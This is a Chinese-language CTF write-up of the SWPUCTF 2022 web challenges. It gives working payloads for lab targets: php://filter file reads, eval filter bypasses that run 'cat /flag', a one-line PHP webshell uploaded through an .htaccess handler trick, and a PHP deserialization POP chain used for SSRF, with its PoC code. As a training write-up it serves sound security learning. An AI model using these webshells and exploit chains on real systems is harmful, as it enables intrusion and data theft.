SWPUCTF_2022新生赛web方向wp
做题平台:nssctf
ez_ez_php 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_GET ['file' ])) { if ( substr ($_GET ["file" ], 0 , 3 ) === "php" ) { echo "Nice!!!" ; include ($_GET ["file" ]); } else { echo "Hacker!!" ; } }else { highlight_file (__FILE__ ); }
只要file
参数前三个数是php就包含这个文件,所以用php伪协议读文件
1 2 3 4 5 6 http://node5.anna.nssctf.cn:26709/?file=php://filter/read=convert.base64-encode/resource=flag Nice!!!TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K ┌──(root㉿kakeru)-[~/tmp] └─# echo TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K | base64 -d NSSCTF{4b1027a5-f02f-4950-968a-3be2841bda70}
ez_ez_php (revenge) 题目和上题一模一样 但是现在用上题的payload就只有一个nice没有显示flag,但是这里就是路径变了改成根目录下的flag就可以
1 2 3 4 5 6 http://node5.anna.nssctf.cn:26620/?file=php://filter/read=convert.base64-encode/resource=/flag Nice!!!TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K ┌──(root㉿kakeru)-[~/tmp] └─# echo TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K | base64 -d NSSCTF{0758e33c-b72c-4227-8704-1b9717f76240}
1z_unserialize 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ; public $lly ; function __destruct ( ) { $a = $this ->lt; $a ($this ->lly); } } unserialize ($_POST ['nss' ]);highlight_file (__FILE__ ); ?>
这是一个反序列化题,那就是$lt
变量赋值给$a
,然后$a
可以当作一个函数,内容是lly
这里还要注意一下这个类有三个变量,虽然用到的只有两个,但是我们自己写的时候也要把三个变量都写出来
这里将一句话木马写入文件shell.php 在nss目录下找到flag
funny_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start (); highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ if (strlen ($_GET ['num' ])<=3 &&$_GET ['num' ]>999999999 ){ echo ":D" ; $_SESSION ['L1' ] = 1 ; }else { echo ":C" ; } } if (isset ($_GET ['str' ])){ $str = preg_replace ('/NSSCTF/' ,"" ,$_GET ['str' ]); if ($str === "NSSCTF" ){ echo "wow" ; $_SESSION ['L2' ] = 1 ; }else { echo $str ; } } if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if ($_POST ['md5_1' ]!==$_POST ['md5_2' ]&&md5 ($_POST ['md5_1' ])==md5 ($_POST ['md5_2' ])){ echo "Nice!" ; if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if (is_string ($_POST ['md5_1' ])&&is_string ($_POST ['md5_2' ])){ echo "yoxi!" ; $_SESSION ['L3' ] = 1 ; }else { echo "X(" ; } } }else { echo "G" ; echo $_POST ['md5_1' ]."\n" .$_POST ['md5_2' ]; } } if (isset ($_SESSION ['L1' ])&&isset ($_SESSION ['L2' ])&&isset ($_SESSION ['L3' ])){ include ('flag.php' ); echo $flag ; } ?>
这里最后就是要把L1
L2
L3
都设置就可以得到flag
L1 只能三个字符,但是数值要大于999999999,所以用科学计数法2e9
L2 这里preg_replace把敏感词置换为空,所以我们可用双写NSSNSSCTFCTF
,这样子中间的NSSCTF就不会显示
L3 又是考查一样的md5,但是这里要求两个都是纯字母 所以可以选EEIZDOI
QLTHNDT
funny_web 直接从web这边入手不知道这个实验室名到底是什么意思 目录扫描了一下也没有发现其他的目录,只能看wp得到用户密码 用户 NSS,密码 2122693401 得到题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );header ("Content-Type: text/html;charset=utf-8" );highlight_file (__FILE__ );include ('flag.php' );if (isset ($_GET ['num' ])) { $num = $_GET ['num' ]; if ($num != '12345' ) { if (intval ($num ) == '12345' ) { echo $FLAG ; } } else { echo "这为何相等又不相等" ; } }
这里要了解php的intval()函数, intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:
1 intval (mixed $value , int $base = 10 ): int
$value(必需):要转换的值,可以是字符串、浮点数、布尔值等。 $base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。 这里有多种方法可以绕过inval函数,可以用小数点,字符等
webdog1__start 题目
1 2 Do you really reading to start be a web dog? DO you think you go here from where ?are you readying to start ?
页面源代码中有提示
然后去/robots.txt中,看到有一个f14g.php文件的地址,访问之后还是没有什么别的信息 看了wp才知道要去f12网络中的标头找到hint。。。。。 然后找到真正的题目地址F1l1l1l1l1lag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['get' ])){ $get =$_GET ['get' ]; if (!strstr ($get ," " )){ $get = str_ireplace ("flag" , " " , $get ); if (strlen ($get )>18 ){ die ("This is too long." ); } else { eval ($get ); } }else { die ("nonono" ); } } ?>
这里过滤了空格,然后把flag替换成空格 这里有两种方法,第一种是用%09也就是制表符/t代替空格?get=system('cat%09/*')
这里只能把根目录下面所有的内容都打印出来,不过这里也就只有flag了 法二,题目是执行get
的内容,但是我们可以让这个get再去执行我们自己设置的一个参数
1 ?get=eval ($_GET['a' ]);&a=system ("cat /flag" );
这里要注意一下第一个get参数赋值完之后要写一个;
,这样子这句话中的eval语句才结束,然后被外面一层eval识别。
Ez_upload 一道上传文件的题目,我先上传了一个一句话木马,出现后缀名不能有ph!
,这里如果是说不能是php我们就可以用不同的php后缀名,比如php3 php5 phtml等绕过。 这里先改后缀上传,然后用bp修改后缀看看,这里也不是在前端就校验,所以还是不行 首先是 如果直接上传普通的一句话木马,给出的错误是不能有ph 然后是抓包修改文件类型,还是提示提示不能有ph,所以是在后端做的校验,直接上传jpg文件 发现显示,还是换个类型吧,但是真的jpg这个类型不可以吗,我把文件的内容删掉,再上传 发现可以成功上传,难道是eval这个函数的或者POST之类的被过滤了,现在把<?php ?>
删去,上传剩下的eval部分的内容的jpg文件 –>成功上传 那就说明了是<?php ?>
的问题了,到这我们就知道要用script版本的一句话木马了 所以最后.htaccess配置文件的方式,让上传的jpg文件解析成php文件。
1 <script language ="php" > @eval ($_POST['a' ]); </script >
1 2 3 4 <FilesMatch "1.jpg" > SetHandler application/x-httpd-php </FilesMatch>
这个文件就是apache服务器里面文件夹下的1.jpg都解析成php文件 然后要用bp抓包上传这个文件,把content-type修改一下 然后就可以用蚁剑连接了,但是这里的flag是空的 如果在根目录下没有flag那基本就是在环境变量或者phpinfo里面 在蚁剑的虚拟终端里面输入php -i就可以查看php的信息了包括环境变量,然后找到了flag
numgame 题目描述:简简单单的迷惑游戏 但是用f12和右键都不能看源代码,那就在url中加上view-source:
就能看源代码 点击链接跳转到题目代码界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var input = $('input' ), input_val = parseInt(input .val()), btn_add = $('.add' ), btn_remove = $('.remove' ); input .keyup(function () { input_val = parseInt(input .val()) }); btn_add.click(function (e) { input_val++; input .val(input_val); console.log (input_val); if (input_val==18 ){ input_val=-20 ; input .val(-20 ); } }); btn_remove.click(function (e) { input_val input .val(input_val); }); // NSSCTF{TnNTY1RmLnBocA==}
先用base64解码一下
1 2 3 ┌──(root㉿kakeru)-[~/tmp] └─# echo TnNTY1RmLnBocA== | base64 -d NsScTf.php
果然不会这么好心直接给flag
这里就是对宽高做了限制,然后不允许php出现所以我们之前用<?=代替还是没错的,主要就是定义宽高 原来直接在文件里面定义就好了
1 2 3 <?= @eval ($_POST ['a' ]);
成功上传!Cookie: PHPSESSID=nrd70psbefs9ma416hm6g3qfnc
所以我们的路径就在upload/nrd70psbefs9ma416hm6g3qfnc/2.php 蚁剑连接进来发现看不了根目录 解决方法就是去蚁剑的虚拟终端里面去看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 (www-data:/var/www/html/upload/nrd70psbefs9ma416hm6g3qfnc) $ cd / (www-data:/) $ ls -al total 88 drwxr-xr-x 1 root root 4096 Feb 17 13:50 . drwxr-xr-x 1 root root 4096 Feb 17 13:50 .. -rwxr-xr-x 1 root root 0 Feb 17 13:50 .dockerenv drwxr-xr-x 1 root root 4096 Sep 13 2022 bin drwxr-xr-x 2 root root 4096 Sep 3 2022 boot drwxr-xr-x 5 root root 340 Feb 17 13:50 dev drwxr-xr-x 1 root root 4096 Feb 17 13:50 etc -rwxrwxrwx 1 root root 45 Feb 17 13:50 flag -rwxrwxrwx 1 root root 69 Sep 19 2022 flag.sh drwxr-xr-x 2 root root 4096 Sep 3 2022 home drwxr-xr-x 1 root root 4096 Sep 13 2022 lib drwxr-xr-x 2 root root 4096 Sep 12 2022 lib64 drwxr-xr-x 2 root root 4096 Sep 12 2022 media drwxr-xr-x 2 root root 4096 Sep 12 2022 mnt drwxr-xr-x 2 root root 4096 Sep 12 2022 opt dr-xr-xr-x 290 root root 0 Feb 17 13:50 proc drwx------ 1 root root 4096 Sep 13 2022 root drwxr-xr-x 1 root root 4096 Sep 13 2022 run drwxr-xr-x 1 root root 4096 Sep 13 2022 sbin drwxr-xr-x 2 root root 4096 Sep 12 2022 srv dr-xr-xr-x 13 root root 0 Feb 17 13:50 sys drwxrwxrwt 1 root root 4096 Feb 17 14:17 tmp drwxr-xr-x 1 root root 4096 Sep 12 2022 usr drwxr-xr-x 1 root root 4096 Sep 13 2022 var (www-data:/) $ cat flag NSSCTF{a716da50-93a3-4f5e-8451-fff514e48cc1}
Power! 查看源码里面中 有一句注释
随便输入一个文件之后,就给出源码?source=/etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php class FileViewer { public $black_list = "flag" ; public $local = "http://127.0.0.1/" ; public $path ; public function __call ($f ,$a ) { $this ->loadfile (); } public function loadfile ( ) { if (!is_array ($this ->path)){ if (preg_match ("/" .$this ->black_list."/i" ,$this ->path)){ $file = $this ->curl ($this ->local."cheems.jpg" ); }else { $file = $this ->curl ($this ->local.$this ->path); } }else { $file = $this ->curl ($this ->local."cheems.jpg" ); } echo '<img src="data:jpg;base64,' .base64_encode ($file ).'"/>' ; } public function curl ($path ) { $url = $path ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); $response = curl_exec ($curl ); curl_close ($curl ); return $response ; } public function __wakeup ( ) { $this ->local = "http://127.0.0.1/" ; } } class Backdoor { public $a ; public $b ; public $superhacker = "hacker.jpg" ; public function goodman ($i ,$j ) { $i ->$j = $this ->superhacker; } public function __destruct ( ) { $this ->goodman ($this ->a,$this ->b); $this ->a->c (); } } if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); }else { if (isset ($_GET ['image_path' ])){ $path = $_GET ['image_path' ]; if (is_string ($path )&&!preg_match ("/http:|gopher:|glob:|php:/i" ,$path )){ echo '<img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; }else { echo '<h2>Seriously??</h2><img src="data:jpg;base64,' .base64_encode (file_get_contents ("cheems.jpg" )).'"/>' ; } }else if (isset ($_GET ['path_info' ])){ $path_info = $_GET ['path_info' ]; $FV = unserialize (base64_decode ($path_info )); $FV ->loadfile (); }else { $path = "vergil.jpg" ; echo '<h2>POWER!!</h2> <img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; } } ?>
我们看到最后有一个反序列化函数,所以这题是一个反序列化链的题目 先看刚才读取文件的逻辑在这句
1 2 if (is_string($path )&&!preg_match("/http:|gopher:|glob:|php:/i" ,$path )){ echo '<img src="data:jpg;base64,' .base64_encode(file_get_contents($path )).'"/>' ;
那就先读一下当前目录下的flag.php,然后查看源代码,发现在这个图片src中确实有base64加密过的信息 ?image_path=flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <img src ="data:jpg;base64,PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4=" /> </body > </html > ┌──(root㉿kakeru)-[~/tmp] └─# echo PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4= | base64 -d <?php $a = "good job,but there is no flag i put my flag in intranet(127.0.0.1:65500) outsider have no permissions to get it if you want it,then you have to take it but you already knew the rules try it" ;?>
这里告诉我们要读到flag就要在内网的65500端口访问才可以 那就继续从源码中找到反序列化链。 和之前碰到这种类型题目一致,不能直接输出flag就去找怎么才能执行命令,很快就可以找到是在FileViewer类中的$file = $this->curl($this->local.$this->path);
这个命令就会去访问$this->local
的$this->path文件
这个在FileViewer类的loadfile
函数中,然后找到同样这个类中的_call($f,$a)
函数会执行loadfile函数,但是这个函数仅仅是在这个类里面,没有体现怎么执行 现在再去找能去执行这个函数的东西,看到Backdoor
这个类,(这个名字就已经提示了) 这个类第一个函数goodman
作用让第一个参数的第二个参数属性变成这个类中的superhacker
第二个__destruct()
魔法函数,先执行一下goodman函数,然后执行$this->a->c()
那么关键就来了,我们就利用$this->a->c()
去执行FileViewer中的_call($f,$a)
那么完整的链是:
1 2 3 入口: Backdoor __destruct () 调用 FileViewer _call ($f,$a) 跳到 FileViewer loadfile
在看如何去访问内网的127.0.0.1:65500/flag 这里我们访问的路径是$this->local
拼接上$this->path
,过滤只针对$this->path
,这里把/flag
过滤了 那绕过很容易,只要把一部分放在$this->local
就好了,也就是让$this->local
为127.0.0.1:65500/fl
这样 那对这个$this->local
有限制的就是__wakeup()这个魔法函数,他会重置值 绕过也很容易,这个wakeup函数是在FileViewer类初始化的时候会执行的,我们只要用Backdoor类中的goodman方法就可以重新赋值,那其实也不用管了 那现在整理清思路,先写一个大致的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class FileViewer { public $black_list ; public $local ; public $path ='flag.php' ; } class Backdoor { public $a ; public $b ='local' ; public $superhacker ; } $f = new FileViewer (); $back = new Backdoor (); $back -> a = $f ; $back -> b = "local" ; $back -> superhacker = "127.0.0.1:65500/fl" ; $back -> a -> path = "ag.php" ; echo (base64_encode ((serialize ($back )))); ?> Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtOO3M6NToibG9jYWwiO047czo0OiJwYXRoIjtzOjY6ImFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTg6IjEyNy4wLjAuMTo2NTUwMC9mbCI7fQ==
然后传入这个参数之后,报错了 报错的信息是Backdoor没有loadfile这个方法,我们再去看这边反序列化的源码
1 2 $FV = unserialize(base64_decode($path_info)) $FV->loadfile()
最后执行loadfile的是$FV
,但是我们代码里面定义的是$f
在$back
中,由于反序列化是从里面到外面的,所以最后FV是Backdoor这个类的, 而这个类没有loadfile()这个函数,所以解决方法也知道了,我们让$back
是一个新的FileViewer类的一个任意属性(但是我只有local属性成功了,可能是因为local没什么别的限制),然后去反序列化这个新的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class FileViewer { public $black_list ; public $local ; public $path ; } class Backdoor { public $a ; public $b ; public $superhacker ; } $f = new FileViewer (); $back = new Backdoor (); $back -> a = $f ; $back -> b = "local" ; $back -> superhacker = "127.0.0.1:65500/fl" ; $back -> a -> path = "ag.php" ; $new_one = new FileViewer (); $new_one -> local = $back ; echo (base64_encode ((serialize ($new_one )))); ?> TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NjoiYWcucGhwIjt9czoxOiJiIjtzOjU6ImxvY2FsIjtzOjExOiJzdXBlcmhhY2tlciI7czoxODoiMTI3LjAuMC4xOjY1NTAwL2ZsIjt9czo0OiJwYXRoIjtOO30=
1 2 3 ┌──(root㉿kakeru)-[~/tmp] └─# echo TlNTQ1RGezIwMGE5YzU2LThiM2MtNDdmMC04ZmNjLWFjYjc5MWQ1N2M4NH0= | base64 -d NSSCTF{200a9c56-8b3c-47f0-8fcc-acb791d57c84}
这题参考的大佬wp:NSS [SWPUCTF 2022 新生赛] Power!